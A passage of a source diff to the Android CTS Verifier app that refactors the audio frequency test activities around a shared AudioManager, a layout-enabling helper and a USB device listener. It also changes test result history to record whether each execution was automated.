+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
     }
 
     protected static <T extends android.app.Activity & PassFailActivity>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
 import com.android.compatibility.common.util.TestResultHistory;
 
 import java.io.Serializable;
-import java.util.AbstractMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -11,6 +10,7 @@
 
 public class TestResultHistoryCollection implements Serializable {
 
+    private static final long serialVersionUID = 0L;
     private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
 
     /**
@@ -23,30 +23,32 @@
     }
 
     /**
-     * Add a test result history with test name, start time and end time.
+     * Add a test result history with test name, start time, end time and isAutomated.
      *
      * @param test a string of test name.
      * @param start start time of a test.
      * @param end end time of a test.
+     * @param isAutomated whether test case was executed through automation.
      */
-    public void add(String test, long start, long end) {
-        Set<Map.Entry> duration = new HashSet<>();
-        duration.add(new AbstractMap.SimpleEntry<>(start, end));
-        mHistoryCollection.add(new TestResultHistory(test, duration));
+    public void add(String test, long start, long end, boolean isAutomated) {
+        Set<TestResultHistory.ExecutionRecord> executionRecords
+                = new HashSet<TestResultHistory.ExecutionRecord> ();
+        executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+        mHistoryCollection.add(new TestResultHistory(test, executionRecords));
     }
 
     /**
-     * Add test result histories for tests containing test name and a set of execution time.
+     * Add test result histories for tests containing test name and a set of ExecutionRecords
      *
      * @param test test name.
-     * @param durations set of start and end time.
+     * @param executionRecords set of ExecutionRecords.
      */
-    public void addAll(String test, Set<Map.Entry> durations) {
-        TestResultHistory history = new TestResultHistory(test, durations);
+    public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+        TestResultHistory history = new TestResultHistory(test, executionRecords);
         boolean match = false;
         for (TestResultHistory resultHistory: mHistoryCollection) {
             if (resultHistory.getTestName().equals(test)) {
-                resultHistory.getDurations().addAll(durations);
+                resultHistory.getExecutionRecords().addAll(executionRecords);
                 match = true;
                 break;
             }
@@ -63,10 +65,12 @@
      * @param resultHistoryCollection a set of test result histories.
      */
     public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
-       if (resultHistoryCollection != null) {
+        if (resultHistoryCollection != null) {
             resultHistoryCollection.asSet().forEach(t-> addAll(
-                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
-       }
+                prefix != null
+                        ? prefix + ":" + t.getTestName()
+                        : t.getTestName(), t.getExecutionRecords()));
+        }
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index ffc5f41..d3af563 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -27,33 +27,46 @@
 import android.content.Context;
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
 import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.AudioRecord;
-import android.media.MediaRecorder;
 import android.os.Bundle;
 import android.os.Handler;
-import android.os.Message;
-import android.os.SystemClock;
 import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
+import android.view.ViewGroup;
 import android.widget.LinearLayout;
-import android.widget.ProgressBar;
 
 /**
  * Audio Frequency Test base activity
  */
 public class AudioFrequencyActivity extends PassFailButtons.Activity {
     private static final String TAG = "AudioFrequencyActivity";
+    private static final boolean DEBUG = true;
+
+    protected Context mContext;
+    protected AudioManager mAudioManager;
+
+    protected AudioDeviceInfo mOutputDevInfo;
+    protected AudioDeviceInfo mInputDevInfo;
 
     public int mMaxLevel = 0;
 
+    //
+    // TODO - These should be refactored into a RefMicActivity class
+    // i.e. AudioFrequencyActivity <- RefMicActivity
     private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mContext = this;
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+    }
+
     //
     // Common UI Handling
     protected void connectRefMicUI() {
@@ -112,20 +125,24 @@
 
     }
 
+    void enableLayout(int layoutId, boolean enable) {
+        ViewGroup group = (ViewGroup)findViewById(layoutId);
+        for (int i = 0; i < group.getChildCount(); i++) {
+            group.getChildAt(i).setEnabled(enable);
+        }
+    }
+
     public void setMaxLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
     }
 
     public void setMinLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
     }
 
     public void testMaxLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
         Log.i(TAG, String.format("Max level: %d curLevel: %d", mMaxLevel, currentLevel));
         if (currentLevel != mMaxLevel) {
             new AlertDialog.Builder(this)
@@ -137,30 +154,19 @@
     }
 
     public int getMaxLevelForStream(int streamType) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            return am.getStreamMaxVolume(streamType);
-        }
-        return -1;
+        return mAudioManager.getStreamMaxVolume(streamType);
     }
 
     public void setLevelForStream(int streamType, int level) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            try {
-                am.setStreamVolume(streamType, level, 0);
-            } catch (Exception e) {
-                Log.e(TAG, "Error setting stream volume: ", e);
-            }
+        try {
+            mAudioManager.setStreamVolume(streamType, level, 0);
+        } catch (Exception e) {
+            Log.e(TAG, "Error setting stream volume: ", e);
         }
     }
 
     public int getLevelForStream(int streamType) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            return am.getStreamVolume(streamType);
-        }
-        return -1;
+        return mAudioManager.getStreamVolume(streamType);
     }
 
     public void enableUILayout(LinearLayout layout, boolean enable) {
@@ -170,4 +176,47 @@
         }
     }
 
+    private void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        for(AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }
+        }
+
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            // Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            // Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+//    abstract public void updateConnectStatus();
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
index 944f7bf..1ee118d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
@@ -16,20 +16,13 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.app.AlertDialog;
-import android.content.Context;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 import android.os.Bundle;
@@ -41,8 +34,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -59,13 +50,11 @@
     static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
     Button mHeadsetPortYes;
     Button mHeadsetPortNo;
 
     Button mLoopbackPlugReady;
-    LinearLayout mLinearLayout;
     Button mTestButton;
     TextView mResultText;
     ProgressBar mProgressBar;
@@ -109,7 +98,7 @@
                 case R.id.audio_frequency_line_plug_ready_btn:
                     Log.i(TAG, "audio loopback plug ready");
                     //enable all the other views.
-                    enableLayout(true);
+                    enableLayout(R.id.audio_frequency_line_layout,true);
                     setMaxLevel();
                     testMaxLevel();
                     break;
@@ -140,8 +129,6 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_line_activity);
 
-        mContext = this;
-
         mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
         mHeadsetPortYes.setOnClickListener(mBtnClickListener);
         mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
@@ -150,16 +137,15 @@
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_line_plug_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
         mLoopbackPlugReady.setEnabled(false);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_line_layout);
         mTestButton = (Button)findViewById(R.id.audio_frequency_line_test_btn);
         mTestButton.setOnClickListener(mBtnClickListener);
         mResultText = (TextView)findViewById(R.id.audio_frequency_line_results_text);
         mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_line_progress_bar);
         showWait(false);
-        enableLayout(false);         //disabled all content
+        enableLayout(R.id.audio_frequency_line_layout, false);         //disabled all content
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -200,16 +186,6 @@
     }
 
     /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
-            View view = mLinearLayout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
-    /**
      * show active progress bar
      */
     private void showWait(boolean show) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index e296f86..db691b6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -16,23 +16,18 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
 
 import android.content.BroadcastReceiver;
 import android.content.Intent;
 import android.content.IntentFilter;
 
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
 import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
@@ -49,8 +44,6 @@
 
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -85,21 +78,14 @@
     private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
-    LinearLayout mLayoutTestNoise;
-    Button mButtonTestNoise;
     ProgressBar mProgressNoise;
     TextView mResultTestNoise;
     Button mButtonPlayNoise;
 
-    LinearLayout mLayoutTestUsbBackground;
-    Button mButtonTestUsbBackground;
     ProgressBar mProgressUsbBackground;
     TextView mResultTestUsbBackground;
 
-    LinearLayout mLayoutTestUsbNoise;
-    Button mButtonTestUsbNoise;
     ProgressBar mProgressUsbNoise;
     TextView mResultTestUsbNoise;
     Button mButtonPlayUsbNoise;
@@ -141,33 +127,25 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_mic_activity);
-        mContext = this;
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_noise);
-        mButtonTestNoise = (Button) findViewById(R.id.frequency_mic_test_noise_btn);
-        mButtonTestNoise.setOnClickListener(mBtnClickListener);
+        findViewById(R.id.frequency_mic_test_noise_btn).setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.frequency_mic_test_noise_progress_bar);
         mResultTestNoise = (TextView) findViewById(R.id.frequency_mic_test_noise_result);
         mButtonPlayNoise = (Button) findViewById(R.id.frequency_mic_play_noise_btn);
         mButtonPlayNoise.setOnClickListener(mBtnClickListener);
         showWait(mProgressNoise, false);
 
-      //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.frequency_mic_layout_test_usb_background);
-        mButtonTestUsbBackground = (Button)
-                findViewById(R.id.frequency_mic_test_usb_background_btn);
-        mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+        //USB Background
+        findViewById(R.id.frequency_mic_test_usb_background_btn).
+                setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
                 findViewById(R.id.frequency_mic_test_usb_background_progress_bar);
         mResultTestUsbBackground = (TextView)
                 findViewById(R.id.frequency_mic_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_usb_noise);
-        mButtonTestUsbNoise = (Button) findViewById(R.id.frequency_mic_test_usb_noise_btn);
-        mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+        findViewById(R.id.frequency_mic_test_usb_noise_btn).setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)
                 findViewById(R.id.frequency_mic_test_usb_noise_progress_bar);
         mResultTestUsbNoise = (TextView) findViewById(R.id.frequency_mic_test_usb_noise_result);
@@ -178,7 +156,7 @@
         mGlobalResultText = (TextView) findViewById(R.id.frequency_mic_test_global_result);
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -245,13 +223,13 @@
     // Overrides
     //
     void enableTestUI(boolean enable) {
-        mButtonTestNoise.setEnabled(enable);
-        mButtonPlayNoise.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_noise_dut_buttons, enable);
+        enableLayout(R.id.frequency_mic_layout_test_noise_src_buttons, enable);
 
-        mButtonTestUsbBackground.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_background_dut_buttons, enable);
 
-        mButtonTestUsbNoise.setEnabled(enable);
-        mButtonPlayUsbNoise.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_noise_dut_buttons, enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_noise_src_buttons, enable);
     }
 
     private void playerToggleButton(int buttonId) {
@@ -314,16 +292,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         if (show) {
             pb.setVisibility(View.VISIBLE);
@@ -465,7 +433,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index f954b0c..968d343 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -16,22 +16,16 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
 import android.content.BroadcastReceiver;
 import android.content.Intent;
 import android.content.IntentFilter;
 
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 
@@ -47,8 +41,6 @@
 
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -66,12 +58,10 @@
     static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
     Button mLoopbackPlugReady;          //user signal to have connected USB Microphone
     Button mTestButton;                 //user to start test
     String mUsbDevicesInfo;             //usb device info for report
-    LinearLayout mLinearLayout;
     TextView mResultText;
     TextView mUsbStatusText;
     ProgressBar mProgressBar;
@@ -131,21 +121,18 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_speaker_activity);
 
-        mContext = this;
-
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_speaker_mic_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_speaker_layout);
         mUsbStatusText = (TextView)findViewById(R.id.audio_frequency_speaker_usb_status);
         mTestButton = (Button)findViewById(R.id.audio_frequency_speaker_test_btn);
         mTestButton.setOnClickListener(mBtnClickListener);
         mResultText = (TextView)findViewById(R.id.audio_frequency_speaker_results_text);
         mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_speaker_progress_bar);
         showWait(false);
-        enableLayout(false);         //disabled all content
+        enableLayout(R.id.audio_frequency_speaker_layout,false);         //disabled all content
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -217,16 +204,6 @@
     }
 
     /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
-            mLoopbackPlugReady.setEnabled(enable);
-            mTestButton.setEnabled(enable);
-        }
-    }
-
-    /**
      * show active progress bar
      */
     private void showWait(boolean show) {
@@ -721,17 +698,17 @@
     }
 
     private void testUSB() {
-        boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
-        mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(getApplicationContext());
+        boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
+        mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(mContext);
 
         if (isConnected) {
             mUsbStatusText.setText(
                     getResources().getText(R.string.audio_frequency_speaker_mic_ready_text));
-            enableLayout(true);
+            enableLayout(R.id.audio_frequency_speaker_layout, true);
         } else {
             mUsbStatusText.setText(
                     getResources().getText(R.string.audio_frequency_speaker_mic_not_ready_text));
-            enableLayout(false);
+            enableLayout(R.id.audio_frequency_speaker_layout, false);
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index fb8460b..c33a7cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -16,19 +16,12 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.content.Context;
-import android.content.BroadcastReceiver;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -43,8 +36,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -85,26 +76,21 @@
     private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
-    LinearLayout mLayoutTestTone;
     Button mButtonTestTone;
     ProgressBar mProgressTone;
     TextView mResultTestTone;
     Button mButtonPlayTone;
 
-    LinearLayout mLayoutTestNoise;
     Button mButtonTestNoise;
     ProgressBar mProgressNoise;
     TextView mResultTestNoise;
     Button mButtonPlayNoise;
 
-    LinearLayout mLayoutTestUsbBackground;
     Button mButtonTestUsbBackground;
     ProgressBar mProgressUsbBackground;
     TextView mResultTestUsbBackground;
 
-    LinearLayout mLayoutTestUsbNoise;
     Button mButtonTestUsbNoise;
     ProgressBar mProgressUsbNoise;
     TextView mResultTestUsbNoise;
@@ -164,7 +150,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_unprocessed_activity);
-        mContext = this;
         mTextViewUnprocessedStatus = (TextView) findViewById(
                 R.id.audio_frequency_unprocessed_defined);
         //unprocessed test
@@ -181,7 +166,6 @@
         playerSetSource(SOURCE_TONE);
 
         // Test tone
-        mLayoutTestTone = (LinearLayout) findViewById(R.id.unprocessed_layout_test_tone);
         mButtonTestTone = (Button) findViewById(R.id.unprocessed_test_tone_btn);
         mButtonTestTone.setOnClickListener(mBtnClickListener);
         mProgressTone = (ProgressBar) findViewById(R.id.unprocessed_test_tone_progress_bar);
@@ -191,7 +175,6 @@
         showWait(mProgressTone, false);
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_noise);
         mButtonTestNoise = (Button) findViewById(R.id.unprocessed_test_noise_btn);
         mButtonTestNoise.setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.unprocessed_test_noise_progress_bar);
@@ -201,8 +184,6 @@
         showWait(mProgressNoise, false);
 
         //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.unprocessed_layout_test_usb_background);
         mButtonTestUsbBackground = (Button) findViewById(R.id.unprocessed_test_usb_background_btn);
         mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
@@ -211,7 +192,6 @@
                 findViewById(R.id.unprocessed_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_usb_noise);
         mButtonTestUsbNoise = (Button) findViewById(R.id.unprocessed_test_usb_noise_btn);
         mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)findViewById(R.id.unprocessed_test_usb_noise_progress_bar);
@@ -365,11 +345,11 @@
     private void playerSetSource(int sourceIndex) {
         switch (sourceIndex) {
             case SOURCE_TONE:
-                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
                 break;
             default:
             case SOURCE_NOISE:
-                mSPlayer.setSoundWithResId(getApplicationContext(),
+                mSPlayer.setSoundWithResId(mContext,
                         R.raw.stereo_mono_white_noise_48);
                 break;
         }
@@ -393,16 +373,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         if (show) {
             pb.setVisibility(View.VISIBLE);
@@ -468,8 +438,7 @@
 
     private boolean supportsUnprocessed() {
         boolean unprocessedSupport = false;
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        String unprocessedSupportString = am.getProperty(
+        String unprocessedSupportString = mAudioManager.getProperty(
                 AudioManager.PROPERTY_SUPPORT_AUDIO_SOURCE_UNPROCESSED);
         Log.v(TAG,"unprocessed support: " + unprocessedSupportString);
         if (unprocessedSupportString == null ||
@@ -790,7 +759,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
index efe666a..d6e86cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -21,7 +21,6 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.content.Context;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 import android.os.Bundle;
@@ -32,7 +31,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -81,26 +79,20 @@
     private boolean mTestsDone[] = new boolean[TEST_COUNT];
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    private Context mContext;
-
-    private LinearLayout mLayoutTestTone;
     private Button mButtonTestTone;
     private ProgressBar mProgressTone;
     private TextView mResultTestTone;
     private Button mButtonPlayTone;
 
-    private LinearLayout mLayoutTestNoise;
     private Button mButtonTestNoise;
     private ProgressBar mProgressNoise;
     private TextView mResultTestNoise;
     private Button mButtonPlayNoise;
 
-    private LinearLayout mLayoutTestUsbBackground;
     private Button mButtonTestUsbBackground;
     private ProgressBar mProgressUsbBackground;
     private TextView mResultTestUsbBackground;
 
-    private LinearLayout mLayoutTestUsbNoise;
     private Button mButtonTestUsbNoise;
     private ProgressBar mProgressUsbNoise;
     private TextView mResultTestUsbNoise;
@@ -141,7 +133,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_voice_recognition_activity);
-        mContext = this;
 
         mSPlayer = new SoundPlayerObject();
         playerSetSource(SOURCE_TONE);
@@ -221,7 +212,6 @@
         };
 
         // Test tone
-        mLayoutTestTone = (LinearLayout) findViewById(R.id.vr_layout_test_tone);
         mButtonTestTone = (Button) findViewById(R.id.vr_button_test_tone);
